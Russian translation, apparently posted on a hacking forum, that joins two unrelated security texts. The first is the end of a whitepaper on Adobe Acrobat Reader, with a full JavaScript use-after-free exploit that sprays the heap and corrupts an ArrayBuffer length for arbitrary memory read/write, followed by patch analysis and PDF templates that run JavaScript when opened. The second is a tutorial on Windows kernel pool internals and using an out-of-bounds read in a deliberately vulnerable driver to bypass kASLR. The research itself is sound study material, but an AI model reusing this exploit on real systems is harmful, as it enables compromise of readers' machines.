Хотя код будет проверять, был ли объект поля мертвым или нет, это не могло предотвратить срабатывание уязвимости, поскольку объект поля будет помечен как мертвый во время вызова функции unbox_js_value для получения необработанного значения параметра new_index_jsobj.
Для реализации поведения, описанного в стандартном документе, для хранения имен полевых объектов использовался строковый массив. Индекс имени определяет порядок вычисления полевого объекта. Когда значение свойства calcOrderIndex было изменено на другое значение, элементы строкового массива должны быть соответствующим образом скорректированы.
Следующий код показывает, как был настроен массив строк.
C:Copy to clipboard
struct StringArray {
int length;
int capacity;
int *string; // address array
};
void __cdecl rearrange_namelist( // sub_20A75118
StringArray *array, int new_index, int internal_field) {
if ( array ) {
if ( internal_field ) {
int index = new_index;
if ( new_index >= 0 ) {
if ( new_index > array->length ) index = array->length;
realloc_if_needed(array, array->length + 1);
for ( int i = array->length++; i > index; --i )
array->string[i] = array->string[i - 1];
StringStruct *field_name = *(_DWORD *)(internal_field + 32);
int length = get_string_length(field_name);
array->string[index] = malloc(length + 2);
char* buffer = get_string_buffer(field_name);
strcpy_safe(array->string[index], 0x7FFFFFFF, buffer, 0);
}
}
}
}
Важнейшей частью было то, что при вставке имени поля будет создан буфер кучи и будет вызываться strcpy_safe для копирования строки имени. Мы можем управлять содержимым объекта internal_field при срабатывании уязвимости, чтобы можно было полностью контролировать содержимое объекта field_name.
C:Copy to clipboard
struct StringStruct {
int type;
char *buffer;
int length;
int capacity;
int unknown1;
int unknown2;
};
Мы можем создать объект StringStruct и установить длину меньше фактической длины буфера, чтобы мы могли запускать запись вне границ при вызове strcpy_safe. Затем мы можем перезаписать член byteLength объекта ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
Как обсуждалось ранее, это общий метод использования уязвимостей типа Use- After-Free, связанных с полевыми объектами. Вы можете добиться выполнения кода, если освободите внутренний объект свойства Field объекта поля.
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
JavaScript:Copy to clipboard
var bigArrayBuffers, smallArrayBuffers;
var bigByteLength = 0x10000 - 8 - 0x10;
var smallByteLength = 0x8000 - 8 - 0x10;
var predictableAddress = 0x10100058;
var baseString, stringArray;
var freedHeapSize = 0x60;
function gc() {
for (var i = 0; i < 10; ++i) {
var x = new ArrayBuffer(1024 * 1024 * 32);
}
}
function valueToString(value) {
return String.fromCharCode(value & 0xFFFF) +
String.fromCharCode(value >> 16);
}
function createBaseString(length, value) {
var string = valueToString(value);
while (string.length < length) {
string += string;
}
return string;
}
function fillLowerAddressMemory(count) {
var array = new Array(count);
array[0] = new ArrayBuffer(bigByteLength);
var dv = new DataView(array[0]);
// generate fake string structure
dv.setUint32(4, predictableAddress + 0x100, true); // string address
dv.setUint32(8, smallByteLength + 0x10 - 2, true); // string length
// string data
var beg = 0x100;
var end = beg + smallByteLength + 0x10 + 8 + 8;
for (var i = beg; i < end; ++i) {
dv.setUint8(i, 0xFF);
}
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
function sprayString(count, heapSize) {
var array = new Array(count);
for (var i = 0; i < array.length; ++i) {
array[i] = baseString.substring(0, heapSize / 2 - 1).toUpperCase();
}
if (!stringArray) {
stringArray = [];
}
stringArray.push(array);
}
function sprayArrayBuffer(count, byteLength) {
var array = new Array(count);
array[0] = new ArrayBuffer(byteLength);
var dv = new DataView(array[0]);
dv.setUint32(0, 0x40414140, true);
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
function createHoles(array) {
for (var i = 0; i < array.length; i += 2) {
array[i] = null;
array[i] = undefined;
}
return array;
}
function triggerUAF() {
var name =
'\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
var f1 = this.addField(name, 'text', 0, [10, 20, 30, 40]);
f1.setAction('Calculate', 'var dummy');
var f2 = this.addField('f2', 'text', 0, [50, 60, 70, 80]);
f2.setAction('Calculate', 'var dummy');
var value = {
valueOf: function() {
app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
sprayString(0x1000, freedHeapSize);
gc();
sprayString(0x1000, freedHeapSize);
smallArrayBuffers = sprayArrayBuffer(0x2000, smallByteLength);
createHoles(smallArrayBuffers);
gc();
return 1;
},
};
f1.calcOrderIndex = value;
}
function findCorruptedArrayBuffer() {
for (var i = 0; i < smallArrayBuffers.length; ++i) {
var ab = smallArrayBuffers[i];
if (ab && ab.byteLength != smallByteLength) {
app.alert('ArrayBuffer[' + i + '].byteLength = ' +
ab.byteLength.toString(16));
return ab;
}
}
}
function exploit() {
bigArrayBuffers = fillLowerAddressMemory(0x1000);
baseString = createBaseString(0x1000, predictableAddress);
triggerUAF();
findCorruptedArrayBuffer();
}
exploit();
5.4.4 Анализ патчей
В этом разделе не будет обсуждаться, как была исправлена уязвимость в Adobe Acrobat Reader DC 2020.006.20042. Вместо этого будет обсуждаться, почему эксплойт больше не работает, начиная с Adobe Acrobat Reader DC 2019.021.20047.
Обновленная функция установки свойства calcOrderIndex показывает, что флаг будет установлен перед доступом к внутреннему объекту свойства Field, и флаг будет сброшен перед выходом из функции установки.
C:Copy to clipboard
// sub_20A51A10 in AcroForm.api / Adobe Acrobat Reader DC 2019.021.20047
int __cdecl field_calcOrderIndex_setter(
int field_object, int property_name, int new_index_jsobj) {
// --------------------------- cut ---------------------------
internal_field = get_object_property(field_object, "Field");
if ( internal_field ) sub_20AC60D7(internal_field, 1); // set flag
if ( !get_object_property ) goto LABEL_17;
name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
// --------------------------- cut ---------------------------
if ( internal_field ) sub_20AC60D7(internal_field, 0); // clear flag
return v9;
}
Здесь свойство с именем LockFieldProp будет привязано к внутреннему объекту свойства Field функцией sub_20AC60D7.
C:Copy to clipboard
int __cdecl sub_20AC60D7(int internal_field, unsigned __int16 value) {
int result = dword_213E79E8;
if ( !dword_213E79E8 ) {
result = sub_208672A6("LockFieldProp", 1); // construct a string
dword_213E79E8 = result; // save to global variable
}
if ( internal_field ) {
int v3 = sub_208676B3(result); // duplicate the string
result = sub_20B4CFA5(internal_field, v3, value, 0); // bind
}
return result;
}
Функция sub_2092AF70 будет вызываться при выполнении кода проверки концепции. В этой функции флаг LockFieldProp будет проверяться в соответствии с глобальной переменной dword_213E79E8. Если флаг установлен в 1, код в операторе if будет пропущен, так что объект поля не будет уничтожен.
C:Copy to clipboard
wchar_t *__cdecl sub_2092AF70(wchar_t *a1, wchar_t *a2) {
// --------------------------- cut ---------------------------
if ( !dword_213E79E8 ||
(result = sub_20B4E27F(internal_field, dword_213E79E8)) == 0 ) {
v11 = operator new(0x14u);
if ( v11 )
v12 = sub_2092B520(v11);
else
v12 = 0;
v13 = sub_2092B53F(v14, v2, v5);
if ( !sub_2092B5C2(4, v13, 0, 1, 0) ) {
if ( v12 ) {
sub_2092B953(v12);
sub_2085F980(v12);
}
}
// must be called to destroy the field object
result = sub_2092B991(v15, v2, v5, 1);
}
// --------------------------- cut ---------------------------
}
Анализ показывает, что все функции установки свойств объекта поля защищены одним и тем же механизмом. Другими словами, кажется, что больше невозможно уничтожить объект поля в функциях установки его свойств.
6. Благодарности
Я хотел бы поблагодарить HITBSecConf 2020 Amsterdam за предоставленную мне возможность поделиться своими последними исследованиями и ZeroNights 2019 за предоставленную мне возможность поделиться своими предыдущими исследованиями по этой теме. Я также хотел бы поблагодарить Adobe PSIRT за фикс уязвимости перед конференциями.
Использованная литература:
[01] UTF-8, UTF-16, UTF-32 & BOM - unicode.org
[02] strncpy() history - lwn.net
[03] String Handling <string.h> - ANSI C Rationale
[04] strcpy_s, wcscpy_s - MSDN
[05] strncpy_s, wcsncpy_s - MSDN
[06] OR'LYEH? The Shadow over Firefox - phrack.org
[07] JavaScript™ for Acrobat® API Reference - adobe.com
[08] Adobe LiveCycle Designer 11 Scripting Reference - createNode - adobe.com
[09] Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago -
xlab.tencent.com
[10] Two Bytes to Rule Adobe Reader Twice: The Black Magic Behind the Byte
Order Mark -
zeronights.ru
[11] CVE-2019-8039.js - gist.github.com
**7. Приложение
7.1 Adobe FTP-сервер**
Все офлайн-установщики Adobe Acrobat Reader DC можно найти на FTP-сервере Adobe.
**ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/
7.2 Обычный шаблон PDF**
Этот шаблон показывает, как выполнять код JavaScript в обычных файлах PDF.
%PDF-1.7
1 0 obj<</Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R>>endobj
2 0 obj<</Type/Outlines/Count 0>>endobj
3 0 obj<</Type/Pages/Kids[4 0 R]/Count 1>>endobj
4 0 obj<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>endobj
5 0 obj<</Type/Action/S/JavaScript/JS 6 0 R>>endobj
6 0 obj<</Length 50>>
stream
console.show();
console.println('Hello, World!');
endstream
endobj
xref
0 7
0000000000 65535 f
0000000010 00000 n
0000000086 00000 n
0000000127 00000 n
0000000177 00000 n
0000000241 00000 n
0000000294 00000 n
trailer<</Size 7/Root 1 0 R>>
startxref
396
%%EOFClick to expand...
7.3 Шаблон XFA PDF
Этот шаблон показывает, как выполнять код JavaScript в файлах XFA PDF.
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/AcroForm 6 0 R
/OpenAction 9 0 R
/NeedsRendering trueendobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
/MediaBox [0 0 612 792]
/Resources
<<
/Font <</F1 5 0 R>>
/ProcSet [/PDF /Text]/Annots [8 0 R]
endobj
4 0 obj
<</Length 94>>
stream
BT
/F1 24 Tf
100 600 Td
(Your PDF reader does not support XFA if you see this sentence.) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncodingendobj
6 0 obj
<<
/Fields [7 0 R]Click to expand...
Переведено специально для XSS.is
Автор перевода: yashechka
Источник:
[https://kiprey.github.io/2020/06/AN...e_times_with_malformed_strings_whitepaper.pdf](https://kiprey.github.io/2020/06/ANSI-
Unicode-type-confusion-
study/pwning_adobe_reader_multiple_times_with_malformed_strings_whitepaper.pdf)
Введение
Я пишу этот пост, так как заканчиваю потрясающий курс от HackSys
Team. Этот тренинг окончательно прояснил для
меня пул ядра Windows. Во время обучения я получил много указаний (в оригинале
тут слово pointers, небольшой каламбур от автора) ко всему, от введения в
понимание работы кучи ядра с низкой фрагментацией (kLFH) до очистки пула.
Поскольку я использую ведение блога, чтобы не только поделиться своими
знаниями, но и закрепить концепции, написав о них, я хотел использовать
драйвер HackSys Extreme Vulnerable Driver и ветвь win10-klfh
(HEVD),
чтобы связать вместе две уязвимости в драйвере из процесса с низкой
целостностью - чтение за пределами границ и переполнение пула для достижения
произвольного примитива чтения/записи. В этом посте, первой части этой серии,
будет описано чтение за пределами диапазона и обход kASLR из Low-Integrity.
Процессы с Low-Integrity и процессы, защищенные AppContainer, такие как
песочница браузера, предотвращают вызовы Windows API, такие как
EnumDeviceDrivers
и NtQuerySystemInformation
, которые обычно используются
для получения базового адреса для ntoskrnl.exe
и/или других драйверов для
эксплуатации ядра. Это условие требует общего обхода kASLR, как это было
обычно в сборке Windows RS2 через объекты GDI или какой-либо тип уязвимости.
Поскольку универсальные обходы kASLR теперь не только очень редки, редки и
утечки информации, такие как чтение за пределами диапазона, де-факто являются
стандартом обхода kASLR.
В этом посте будут затронуты основные внутренние механизмы пула в Windows, который уже [хорошо документирован](https://www.exploit- db.com/docs/english/16032-kernel-pool-exploitation-on-windows-7.pdf), гораздо лучше, чем любая моя попытка сделать это, последствия kFLH с точки зрения разработки эксплойтов и использования уязвимостей чтения за пределами границ.
****Внутреннее устройство пула Windows -tl;dr версия ****
В этом разделе будет немного рассказано о некоторых внутренних компонентах
кучи, а также о том, как работает куча сегментов после 19H1. Во-первых,
Windows предоставляет API ExAllocatePoolWithTag
, основной API, используемый
для выделения пулов, из которого драйверы режима ядра могут выделять
динамическую память, как malloc
из пользовательского режима. Однако
драйверы, предназначенные для Windows 10 2004 или более поздней версии,
согласно Microsoft, должны использовать ExAllocatePool2
вместо
ExAllocatePoolWithTag
, который, по-видимому, устарел. Для целей этого блога
мы будем называть «основную функцию распределения» ExAllocatePoolWithTag
.
Одно слово о «новых» API - это то, что они инициализируют выделенные фрагменты
пула нулём.
Прототип ExAllocatePoolWithTag можно увидеть ниже:
Первым параметром этой функции является POOL_TYPE
, который относится к типу
перечисления, который указывает тип выделяемой памяти. Эти значения можно
увидеть ниже.
Хотя существует много разных типов выделения, обратите внимание, что все они
по большей части предваряются NonPagedPool
или PagedPool
. Это связано с
тем, что в Windows распределение пулов происходит из этих двух пулов (или они
поступают из пула сеансов, что выходит за рамки этого сообщения и используется
win32k.sys). В пользовательском режиме у разработчиков есть куча процесса по
умолчанию для выделения фрагментов, или они также могут создавать свои
собственные частные кучи. Пул Windows работает немного иначе, поскольку
система заранее определяет два пула (для наших целей) памяти для обслуживания
запросов в ядре. Напомним также, что выделения в paged pool могут быть
выгружены из памяти. Выделения в non-paged pool всегда будут выгружаться в
памяти. Это в основном означает, что память в NonPagedPool
/NonPagedPoolNx
всегда доступна. Это предостережение также означает, что non-paged pool
является более «дорогим» ресурсом и должен использоваться соответствующим
образом.
Что касается фрагментов пула, терминология в значительной степени
соответствует фрагменту кучи, о котором я говорил в предыдущем
блоге об эксплуатации браузера.
Каждому фрагменту пула предшествует структура _POOL_HEADER
размером 0x10
байт в 64-битной системе, которую можно найти с помощью WinDbg.
Эта структура содержит метаданные о блоке в области видимости. Следует
отметить одну интересную вещь: когда структура _POOL_HEADER
освобождается и
не является допустимым заголовком, произойдет сбой системы.
Член ProcessBilled
этой структуры является указателем на объект _EPROCESS
,
который произвел выделение, но только если PoolQuota
был установлен в
параметре PoolType
при вызове ExAllocatePoolWithTag
. Обратите внимание,
что со смещением 0x8
в этой структуре есть член объединения, так как два
члена находятся со смещением 0x8
.
В качестве теста давайте установим точку останова на
nt!ExAllocatePoolWithTag
. Поскольку ядро Windows будет постоянно вызывать
эту функцию, нам не нужно создавать драйвер, который вызывает эту функцию,
поскольку система уже будет это делать.
После установки точки останова мы можем выполнить функцию и проверить возвращаемое значение, которое представляет собой выделенный фрагмент пула.
Обратите внимание, что член ProcessBilled
не является действительным
указателем на объект _EPROCESS
. Причина в том, что это обычный вызов
nt!ExAllocatePoolWithTag
без какого-либо безумного планирования квот, что
означает, что член ProcessBilled
не установлен. Поскольку
AllocatorBackTraceIndex
и PoolTagHash
, очевидно, хранятся в объединении,
основываясь на том факте, что члены ProcessBilled и AllocatorBackTraceIndex
находятся с одинаковым смещением в памяти, два члена AllocatorBackTraceIndex
и PoolTagHash
фактически «переносятся» в член ProcessBilled
. Это ни на что
не повлияет, поскольку член ProcessBilled
не учитывается из-за того, что
PoolQuota
не была установлена в параметре PoolType
, и именно так WinDbg
интерпретирует структуру памяти. Если задан PoolQuota
, указатель EPROCESS
фактически XOR'd со случайным «cookie», а это означает, что если вы хотите
восстановить этот заголовок, вам сначала потребуется утечка cookie. Эта
информация будет полезна позже при рассмотрении уязвимости переполнения пула в
части 2, которая не будет использовать PoolQuota
.
Теперь поговорим о куче сегментов. Сегментная куча, которая уже была реализована в пользовательском режиме, была реализована в ядре Windows в сборке Windows 10 19H1. «Суть» сегментной кучи такова: когда компонент в ядре запрашивает некоторую динамическую память с помощью ранее упомянутых вызовов API теперь есть несколько вариантов, а именно четыре из них, которые могут обслуживать запрос. Это:
Каждый пул теперь управляется структурой _SEGMENT_HEAP
, как показано ниже,
которая предоставляет ссылки на различные «сегменты», используемые для пула, и
содержит метаданные для пула.
Уязвимости, упомянутые в этом сообщении, будут связаны с kLFH, поэтому для целей этого сообщения я настоятельно рекомендую прочитать [этот документ](https://www.sstic.org/media/SSTIC2020/SSTIC- actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article- pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf), чтобы узнать больше о внутреннем устройстве каждого распределителя и просмотреть [доклад Ярдена Шафира на BlackHat](https://www.blackhat.com/us-21/briefings/schedule/index.html#windows- heap-backed-pool-the-good-the-bad-and-the-encoded-23482) о внутреннем устройстве пула в эпоху сегментной кучи!
Для целей этого эксплойта и в качестве общего примечания давайте поговорим о
том, как используется структура _POOL_HEADER
.
Мы говорили о структуре _POOL_HEADER
ранее, но давайте углубимся в эту
концепцию, чтобы увидеть, используется ли она при включенной куче сегментов.
Любое выделение размера, которое не может поместиться в выделение сегмента
переменного размера, в значительной степени попадет в kLFH. Здесь интересно
то, что структура _POOL_HEADER
больше не используется для фрагментов в
сегменте VS. Чанкам, выделенным с использованием сегмента VS, на самом деле
предшествуют предисловия со структурой заголовка под названием
_HEAP_VS_CHUNK_HEADER
, на которую мне указал мой коллега Ярден Шафир. Эту
структуру можно увидеть в WinDbg.
Интересный факт о заголовках пула с кучей сегментов заключается в том, что
kLFH, который будет целью этого сообщения, на самом деле все еще использует
структуры _POOL_HEADER
для предварения фрагментов пула.
Блоки, выделенные сегментами kLFH и VS, показаны ниже.
Почему это важно? Для целей эксплуатации в части 2 в какой-то момент во время
эксплуатации произойдет переполнение пула. Поскольку мы знаем, что перед
фрагментами пула стоит заголовок, и поскольку мы знаем, что недопустимый
заголовок приведет к сбою, мы должны помнить об этом. Используя наше
переполнение, нам нужно будет убедиться, что во время эксплуатации
присутствует допустимый заголовок. Поскольку наш эксплойт будет нацелен на
kLFH, который по-прежнему использует стандартную структуру _POOL_HEADER
без
кодирования, позже это окажется довольно тривиальным. Однако
_HEAP_VS_CHUNK_HEADER
выполняет дополнительное кодирование своих членов.
«Последний кусок этой головоломки» - понять, как мы можем заставить систему
выделять блоки пула через сегмент kLFH. KLFH обслуживает запросы размером от 1
до 16 368 байт. Сегмент kLFH также управляется структурой _HEAP_LFH_CONTEXT
,
которая может быть просмотрена в WinDbg.
В kLFH есть «buckets» для каждого размера распределения. Здесь tl;dr означает, что если вы хотите запустить kLFH, вам нужно сделать 16 последовательных запросов к bucket одинакового размера. Всего 129 bucket, и каждая корзина имеет «степень детализации». Давайте посмотрим на диаграмму, чтобы увидеть определяющие факторы того, где размещается распределение в kLFH, в зависимости от размера, который был взят из ранее упомянутой статьи Корентина и Пола.
Это означает, что любое выделение с гранулярностью 16 байт (например, 1-16 байтов, 17-31 байт и т. Д.) До тех пор, пока гранулярность 64 байта не помещается в сегменты 1-64, начиная с сегмента 1 для выделения 1-16. байтов, сегмент 2 для 17–31 байтов и так далее, вплоть до степени детализации в 512 байт. Все, что больше, либо обслуживается сегментом VS, либо другими различными компонентами кучи сегментов.
Допустим, мы выполняем распыление объектов размером 0x40 байт, и мы делаем это 100 раз. Мы можем ожидать, что большая часть этих выделений будет сохранена в kLFH из-за эвристики 16 последовательных выделений и поскольку размер соответствует одному из сегментов, предоставленных kLFH. Это очень полезно для эксплуатации, так как это означает, что есть большая вероятность, что мы сможем относительно хорошо очистить pool. Обработка относится к тому факту, что мы можем получить множество блоков пула, которые мы контролируем, выстроенных рядом друг с другом, чтобы сделать эксплуатацию надежной. Например, если мы можем обработать пул объектами, которые мы контролируем, один за другим, мы можем гарантировать, что переполнение пула приведет к переполнению данных, которые мы контролируем, что приведет к эксплуатации. Мы еще коснемся этого вопроса в будущем.
kLFH также использует эти заранее определенные сегменты для управления фрагментами. Это также удаляет нечто, известное как объединение, когда диспетчер пула объединяет несколько свободных фрагментов в более крупный фрагмент для повышения производительности. Теперь, с kLFH, благодаря архитектуре, мы знаем, что если мы освободим объект в kLFH, мы можем ожидать, что свободное пространство останется до тех пор, пока оно снова не будет использовано в выделении для этого фрагмента определенного размера! Например, если мы работаем в bucket 1, которое может содержать что угодно от 1 байта до 1008 байтов, и мы выделяем два объекта размером 1008 байтов, а затем освобождаем эти объекты, менеджер пула не будет объединять эти слоты, потому что это приведет к получению свободного фрагмента размером 2016 байтов, который не помещается в backet, которое может содержать только 1–1008 байтов. Это означает, что kLFH будет держать эти слоты свободными до тех пор, пока не придет следующее выделение этого размера и не использует его. Это также будет полезно в дальнейшем.
Однако каковы недостатки kLFH? Поскольку kLFH использует предопределенные размеры, нам нужно быть очень удачливым, чтобы драйвер выделял объекты, которые имеют тот же размер, что и уязвимый объект, который можно переполнять или манипулировать. Допустим, на этой искусно созданной диаграмме Microsoft Paint мы можем выполнить переполнение пула в соседний блок как таковой.
Если это переполнение происходит, например, в backet kLFH на NonPagedPoolNx
,
мы знаем, что переполнение из одного фрагмента приведет к переполнению другого
фрагмента ТОЧНОГО того же размера. Это связано с тем, что сегменты kLFH
предопределяют, какие размеры разрешены в сегменте, а затем определяют размеры
смежных фрагментов пула. Итак, в этой ситуации (и как мы продемонстрируем в
этом посте) чанк, примыкающий к уязвимому чанку, должен иметь тот же размер,
что и чанк, и должен быть выделен в пул того же типа, которым в данном случае
является NonPagedPoolNx
. Это сильно ограничивает объем объектов, которые мы
можем использовать для очистки, поскольку нам нужно найти объекты, будь то
объекты typedef
из самого драйвера или собственный объект Windows, который
может быть выделен из пользовательского режима, которые имеют тот же размер,
что и объект мы переполнены. Не только это, но объект также должен содержать
какой-то интересный член, например указатель на функцию, чтобы переполнение
было целесообразным. Это означает, что теперь нам нужно найти объекты, которые
ограничены определенным размером, размещены в том же пуле и содержат что-то
интересное.
Последнее, что нужно сказать, прежде чем мы перейдем к out-of-bounds чтению это то, что некоторые из элементов этого эксплойта слегка надуманы, чтобы описать успешную эксплуатацию. Я скажу, однако, что я видел драйверы, которые выделяют память пула, позволяют неаутентифицированным клиентам указывать размер выделения, а затем возвращать содержимое в пользовательский режим - так что это не означает, что нет плохо написанных драйверов. Я просто хочу отметить, что этот пост больше о базовых концепциях эксплуатации пула в эпоху кучи сегментов, а не о каком-то «новом» способе обойти некоторые положения, касающиеся кучи сегментов. А теперь перейдем к эксплуатации.
От Out-of-Bounds к обходу kASLR -Low-Integrityэксплуатация
Давайте посмотрим на файл в HEVD под названием
MemoryDisclosureNonPagedPoolNx.c
. Мы начнем с кода и в конечном итоге
перейдем к динамическому анализу с помощью WinDbg.
Приведенный выше фрагмент кода представляет собой функцию, которая
определяется как TriggerMemoryDisclosureNonPagedPoolNx
. Эта функция имеет
тип возврата NTSTATUS
. Этот код вызывает ExAllocatePoolWithTag
и создает
блок пула в пуле ядра NonPagedPoolNx
размером POOL_BUFFER_SIZE
и с тегом
пула POOL_TAG
. Отслеживая значение POOL_BUFFER_SIZE
в
MemoryDisclosureNonPagedPoolNx.h
, который включен в файл
MemoryDisclosureNonPagedPoolNx.c
,
мы видим, что выделенный здесь фрагмент пула имеет размер 0x70 байт.
POOL_TAG
также включен в
Common.h
как kcaH
, что более удобно для чтения как Hack
После того, как фрагмент пула выделен в NonPagedPoolNx
, он заполняется
символами 0x41
, точнее, 0x70
, как показано в вызове RtlFillMemory
. Здесь
пока нет уязвимости, так как клиент, вызывающий IOCTL, который достигнет этой
подпрограммы, пока ни на что не влияет. Давайте продолжим читать код, чтобы
увидеть, что произойдет.
После инициализации буфера значением 0x70 0x41 символов первый определенный
параметр в TriggerMemoryDisclosureNonPagedPoolNx
, который является PVOID UserOutputBuffer
, является частью процедуры ProbeForWrite
, чтобы
гарантировать, что этот буфер находится в пользовательском режиме. Откуда
взялся UserOutputBuffer
(помимо очевидного названия)? Давайте посмотрим,
откуда на самом деле вызывается функция
TriggerMemoryDisclosureNonPagedPoolNx
, которая находится в конце
MemoryDisclosureNonPagedPoolNx.c
.
Мы видим, что первый аргумент, переданный в
TriggerMemoryDisclosureNonPagedPoolNx
, которая является функцией, которую мы
до сих пор анализировали, передается аргумент с именем UserOutputBuffer
. Эта
переменная поступает из пакета запроса ввода-вывода (IRP), который был передан
драйверу и создан клиентом, вызывающим DeviceIoControl
для взаимодействия с
драйвером. В частности, это происходит из структуры IO_STACK_LOCATION
,
которая всегда сопровождает IRP. Эта структура содержит множество членов и
данных, используемых IRP для передачи информации драйверу. В этом случае
связанная структура IO_STACK_LOCATION
содержит большинство параметров,
используемых клиентом при вызове DeviceIoControl
. Сама структура IRP
содержит параметр UserBuffer
, который фактически является буфером вывода,
предоставляемым клиентом с помощью DeviceIoControl
. Это означает, что этот
буфер будет возвращен обратно в пользовательский режим или любой клиент, если
на то пошло, который отправляет код IOCTL, который достигает этой процедуры. Я
знаю, что сейчас это кажется полным ртом, но я скажу «tl;dr» здесь через
секунду.
По сути, здесь происходит то, что клиент пользовательского режима может
указать размер и буфер, которые будут использоваться при вызове
TriggerMemoryDisclosureNonPagedPoolNx
. Давайте затем быстро взглянем на
изображение выше, которое снова было показано ниже для краткости.
Пропустив директиву #ifdef SECURE
, которую, очевидно, должен использовать
«безопасный» драйвер, мы увидим, что если выделение ранее упомянутого
фрагмента пула, имеющего размер POOL_BUFFER_SIZE
или 0x70 байт, было
успешным - содержимое части пула записываются в переменную UserOutputBuffer
,
которая будет возвращена клиенту, вызывающему DeviceIoControl
, а количество
данных, скопированных в этот буфер, фактически определяется клиентом через
параметр nOutBufferSize
.
В чем проблема? ExAllocatePoolWithTag
выделит фрагмент пула в зависимости от
размера, предоставленного здесь клиентом. Проблема в том, что разработчик
этого драйвера не просто копирует выходные данные в параметр
UserOutputBuffer
, но что вызов RtlCopyMemory
позволяет клиенту определять
количество байтов, записываемых в параметр UserOutputBuffer
. Это не проблема
переполнения буфера в части UserOutputBuffer
, поскольку мы полностью
контролируем этот буфер с помощью нашего вызова DeviceIoControl
и можем
сделать его большим буфером, чтобы избежать его переполнения. Проблема во
втором и третьем параметрах.
В этом случае выделенный фрагмент пула составляет 0x70
байт. Если мы
посмотрим на директиву #ifdef SECURE
, мы увидим, что KernelBuffer
,
созданный вызовом ExAllocatePoolWithTag
, копируется в параметр
UserOutputBuffer
и НИЧЕГО БОЛЬШЕ, как определено параметром
POOL_BUFFER_SIZE
. Поскольку созданное выделение составляет только
POOL_BUFFER_SIZE
, мы должны разрешить операции копирования копировать это
количество байтов.
Если для функции RtlCopyMemory
предоставляется размер больше 0x70
или
POOL_BUFFER_SIZE
, то соседний фрагмент пула сразу после фрагмента пула
KernelBuffer
также будет скопирован в UserOutputBuffer
. На приведенной
ниже диаграмме показаны общие черты.
Если размер операции копирования превышает размер выделения 0x70 байт, количество байтов после 0x70 берется из соседнего фрагмента и также возвращается обратно в пользовательский режим. В случае предоставления значения 0x100 в параметре размера, которым управляет вызывающая сторона, байты 0x70 из выделения будут скопированы обратно в пользователя, а следующие 0x30 байтов из соседнего фрагмента также будут скопированы обратно в пользовательский режим. Давайте проверим это в WinDbg.
Для краткости, процедура доступа к этому коду осуществляется через IOCTL
0x0022204f
. Вот код, который мы собираемся отправить драйверу.
Мы можем начать с установки точки останова на
HEVD!TriggerMemoryDisclosureNonPagedPoolNx
В соответствии с соглашением о вызовах __fastcall
два аргумента, переданные
в TriggerMemoryDisclosureNonPagedPoolNx
, будут в параметрах RCX (UserOutputBuffer)
и RDX (размер, указанный нами)
. Сбрасывая регистр RCX
,
мы видим 70 байтов, которые будут содержать выделение.
Затем мы можем установить точку останова для nt!ExAllocatePoolWithTag
.
После выполнения вызова мы можем проверить возвращаемое значение в RAX.
Мы знаем, что код IOCTL в этом случае выделил фрагмент пула размером 0x70
байт, но каждое выделение в пуле, в котором находится наш фрагмент, которое
обозначено звездочкой выше, на самом деле составляет 0x80 байтов. Помните -
каждому фрагменту в kLFH предшествует структура _POOL_HEADER
. Мы можем
проверить это ниже, убедившись, что смещение члена PoolTag _POOL_HEADER
выполнено успешно.
Общий размер этого фрагмента пула с заголовком составляет 0x80 байт. Вспомните
ранее, когда мы говорили о kLFH, что это распределение размера попадет в kLFH!
Мы знаем, что следующее, что сделает код в этой ситуации, - это скопировать
значения 0x41 во вновь выделенный фрагмент. Давайте установим точку останова
на HEVD!Memset
, что на самом деле является тем, что по умолчанию установлен
макросом RtlFillMemory
.
Проверяя возвращаемое значение, мы видим, что буфер был инициализирован значениями 0x41.
Следующее действие, как мы можем вспомнить, - это копирование данных из только
что выделенного фрагмента в пользовательский режим. Установив точку останова
на вызове HEVD!Memcpy
, который является фактической функцией, которую
вызовет макрос RtlCopyMemory
, мы можем проверить RCX, RDX и R8, которые
будут местом назначения, источником и размером соответственно.
Обратите внимание, что значение в RCX, которое является адресом
пользовательского режима (и адресом нашего выходного буфера, предоставленным
DeviceIoControl
), отличается от показанного исходного значения. Это просто
потому, что мне пришлось повторно запустить триггер POC между исходным снимком
экрана и текущим. Больше ничего не изменилось.
После выполнения вызова memcpy
мы ясно видим, что содержимое чанка пула
возвращается в пользовательский режим.
Это ожидаемое поведение драйвера. Однако давайте попробуем увеличить размер выходного буфера и посмотрим, что произойдет в соответствии с нашей гипотезой об этой уязвимости. На этот раз давайте установим выходной буфер на 0x100.
На этот раз давайте просто проверим вызов memcpy
.
Обратите внимание на выделенный выше контент после значений 0x41.
Давайте теперь проверим фрагменты пула в этом пуле и рассмотрим фрагмент, примыкающий к нашему фрагменту пула Hack.
В прошлый раз, когда мы выполнили вызов IOCTL, только значения 0x41 были
возвращены в пользовательский режим. Однако напомним, что на этот раз мы
указали значение 0x100. Это означает, что на этот раз мы также должны вернуть
следующие 0x30 байтов после фрагмента пула взлома обратно в пользовательский
режим. Взглянем на предыдущее изображение, которое показывает, что следующий
за фрагментом Hack фрагмент - это 0xffffe48f4254fb00
, который содержит
значение 6c54655302081b00
и так далее, что является _POOL_HEADER
для
следующего фрагмента, как показано ниже.
